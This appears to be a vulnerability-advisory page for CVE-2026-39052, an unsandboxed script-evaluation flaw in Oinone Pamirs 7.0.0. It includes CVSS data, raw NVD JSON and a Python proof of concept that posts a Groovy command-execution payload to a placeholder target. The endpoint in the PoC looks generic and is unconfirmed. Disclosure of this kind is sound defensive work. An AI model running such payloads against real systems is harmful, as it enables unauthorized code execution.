Security Vulnerability Report
中文
CVE-2026-39052 CVSS 6.5 MEDIUM

CVE-2026-39052

Published: 2026-05-15 15:16:51
Last Modified: 2026-05-15 16:16:15

Description

Oinone Pamirs 7.0.0 contains a code execution vulnerability via ScriptRunner. The method ScriptRunner.run(String expression, String type, Map<String, Object> context) evaluates attacker-controlled script expressions through the underlying script engine without sandboxing or allowlist restrictions.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Oinone Pamirs 7.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-39052 # Target: Oinone Pamirs 7.0.0 # Description: Exploits ScriptRunner.run to execute arbitrary code. target_url = "http://target-ip:port/api/script/run" # Malicious payload example (e.g., Groovy syntax) # Attempting to execute a simple command or script payload = { "expression": "def proc = \"ls -la\".execute(); proc.waitFor(); println(proc.text)", "type": "groovy", "context": {} } try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Exploit successful! Response:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39052", "sourceIdentifier": "[email protected]", "published": "2026-05-15T15:16:51.490", "lastModified": "2026-05-15T16:16:14.617", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Oinone Pamirs 7.0.0 contains a code execution vulnerability via ScriptRunner. The method ScriptRunner.run(String expression, String type, Map<String, Object> context) evaluates attacker-controlled script expressions through the underlying script engine without sandboxing or allowlist restrictions."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://gist.github.com/Misakim1/859c3eb9ced699089ee0747dae9bedc1", "source": "[email protected]"}, {"url": "https://github.com/oinone/oinone-pamirs", "source": "[email protected]"}, {"url": "https://www.oinone.top/changelog", "source": "[email protected]"}]}}